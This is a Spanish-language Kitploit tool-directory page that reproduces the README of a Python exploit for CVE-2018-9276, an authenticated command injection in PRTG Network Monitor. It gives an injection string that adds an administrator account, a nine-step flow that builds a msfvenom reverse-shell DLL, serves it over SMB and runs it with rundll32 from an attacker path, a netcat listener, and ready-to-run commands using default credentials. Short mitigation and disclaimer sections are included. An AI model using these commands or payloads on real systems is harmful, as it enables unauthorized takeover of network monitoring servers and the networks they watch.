Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-9276 — CVE-2018-9276 — PRTG Network Monitor < 18.2.39 RCE autenticada. Solo con fines educativos y pruebas de penetración autorizadas. | Kitploit
Herramientas/GitHubGitHub/bardlaudian/cve-2018-9276
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubbardlaudian/cve-2018-9276

CVE-2018-9276

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 RCE autenticada. Solo con fines educativos y pruebas de penetración autorizadas.

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 RCE autenticado

Python CVE Platform

⚠️ Aviso: Esta herramienta tiene fines educativos y solo para pruebas de penetración autorizadas. Úsala únicamente contra sistemas que poseas o para los que tengas permiso explícito por escrito. El uso no autorizado es ilegal.


Tabla de contenidos

  • Descripción general
  • Detalles de la vulnerabilidad
  • Cómo funciona
  • Requisitos
  • Instalación
  • Uso
  • Ejemplos
  • Mitigaciones
  • Referencias

Descripción general

PRTG Network Monitor es una herramienta de monitoreo de red desarrollada por Paessler AG. Las versiones anteriores a 18.2.39 son vulnerables a una inyección de comandos autenticada a través de la función de notificaciones, lo que permite a un atacante con credenciales válidas lograr la Ejecución Remota de Código (RCE) como Sistema Local (la cuenta de servicio predeterminada para las instalaciones de PRTG).

Esta vulnerabilidad fue descubierta durante una prueba de penetración por Josh Berry y notificada a Paessler AG, quien publicó un parche el 20 de abril de 2018. Se le asignó el identificador CVE-2018-9276.


Detalles de la vulnerabilidad


Cómo funciona

PRTG incluye un sistema de notificaciones que permite a los administradores ejecutar scripts cuando ocurren ciertos eventos. Para evitar la ejecución arbitraria de código, PRTG restringe qué scripts pueden ejecutarse a aquellos ubicados en un directorio específico del servidor. De forma predeterminada, solo hay dos scripts de demostración disponibles:

  • Demo EXE Notification - OutFile.bat
  • Demo EXE Notification - OutFile.ps1

El punto de inyección

El script de demostración de PowerShell (OutFile.ps1) pasa el valor del campo Parameter de una notificación directamente al script sin ninguna sanitización. Esto hace posible inyectar comandos arbitrarios de PowerShell añadiéndolos después de un punto y coma:

root@kitploit:~
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add

Cuando PRTG ejecuta la notificación, el comando inyectado se ejecuta con privilegios de Sistema Local.

Nota: El script por lotes (OutFile.bat) no es vulnerable: Paessler parece sanitizar la entrada antes de pasarla al archivo por lotes. La inyección solo funciona a través del script .ps1.

Flujo del exploit

El exploit automatiza los siguientes pasos:

root@kitploit:~
1. Comprobar la versión del servidor → confirmar que el objetivo es vulnerable
2. Autenticarse → obtener una cookie de sesión válida
3. Preparar una notificación de archivo → inicializar un archivo de salida escribible en el objetivo
4. Activar la notificación de archivo → ejecutarla mediante /api/notificationtest.htm
5. Generar un DLL de shell inversa → msfvenom (windows/shell_reverse_tcp)
6. Alojar el DLL → servirlo a través de SMB desde la máquina del atacante
7. Preparar una notificación de comando → inyectar rundll32.exe <UNC_PATH>,0 después del archivo de salida
8. Activar la notificación de comando → ejecutar el DLL en el objetivo
9. Capturar la shell inversa → nc -nvlp <LPORT>

¿Por qué rundll32 + SMB?

PRTG solo permite que los scripts ubicados en su directorio de instalación se ejecuten como notificaciones, por lo que no podemos simplemente subir y ejecutar un binario arbitrario. En su lugar, debemos:

  1. Usar msfvenom para generar una shell inversa de Windows como archivo .dll.
  2. Alojar ese .dll en un recurso compartido SMB en la máquina del atacante.
  3. Inyectar un comando rundll32.exe \\attacker\share\payload.dll,0 a través del parámetro de la notificación de PowerShell.

rundll32.exe puede cargar y ejecutar un DLL desde una ruta UNC, evitando la restricción sobre qué archivos puede ejecutar PRTG directamente.


Requisitos

  • Python 3.8+
  • msfvenom (parte de Metasploit Framework)
  • netcat (nc)
  • impacket — solo se necesita para el servidor SMB integrado (opcional, ver --no-smb)
root@kitploit:~
pip install impacket

Si ya tienes una forma de alojar el DLL (p. ej., impacket-smbserver, exploit/multi/handler de Metasploit u otro servidor SMB), puedes omitir impacket por completo usando --no-smb y --shell-location.


Instalación

root@kitploit:~
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt   # only impacket

Uso

root@kitploit:~
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
                        [--user USER] [--password PASSWORD] [--https]
                        [--no-smb] [--shell-location SHELL_LOCATION] [-v]

options:
  -i, --host            Target IP or hostname
  -p, --port            Target port (e.g. 80 or 443)
  --lhost               Local IP for the reverse shell callback
  --lport               Local port for the reverse shell callback
  --user                PRTG username (default: prtgadmin)
  --password            PRTG password (default: prtgadmin)
  --https               Use HTTPS (self-signed certificates accepted)
  --no-smb              Skip the built-in SMB server (payload already hosted)
  --shell-location      Override the UNC path to the DLL payload
  -v, --verbose         Enable verbose / debug output

Ejemplos

Uso básico (HTTP, credenciales predeterminadas)

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444

Objetivo HTTPS con credenciales personalizadas

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 443 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --user admin \
  --password Sup3rS3cr3t \
  --https

Omitir el servidor SMB integrado (payload alojado externamente)

root@kitploit:~
# Host the payload yourself first:
impacket-smbserver share /tmp -smb2support

# Then run the exploit pointing to your share:
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --no-smb \
  --shell-location '\\10.10.14.5\share\payload.dll'

Mitigaciones

  • Actualiza PRTG a la versión 18.2.39 o posterior: esta es la única corrección completa.
  • Cambia las credenciales predeterminadas: la vulnerabilidad requiere autenticación; las credenciales débiles o predeterminadas (prtgadmin / prtgadmin) reducen drásticamente la barrera para la explotación.
  • Restringe el acceso por red a la interfaz web de PRTG (reglas de firewall, VPN, etc.).
  • Supervisa los registros de PRTG para detectar ejecuciones inesperadas de pruebas de notificaciones.

Referencias

  • Descubrimiento original — CodeWatch (Josh Berry)
  • NVD — CVE-2018-9276
  • Historial de parches de Paessler AG
  • PoC original de wildkindcc
Descargar herramienta
CampoValor
CVECVE-2018-9276
AfectadosPRTG Network Monitor < 18.2.39
TipoInyección de comandos autenticada
PrivilegiosRequiere credenciales válidas de PRTG
ImpactoEjecución remota de código como Sistema Local
Puntuación CVSS7.2 (Alta)
ParchePRTG 18.2.39 (publicado el 20 de abril de 2018)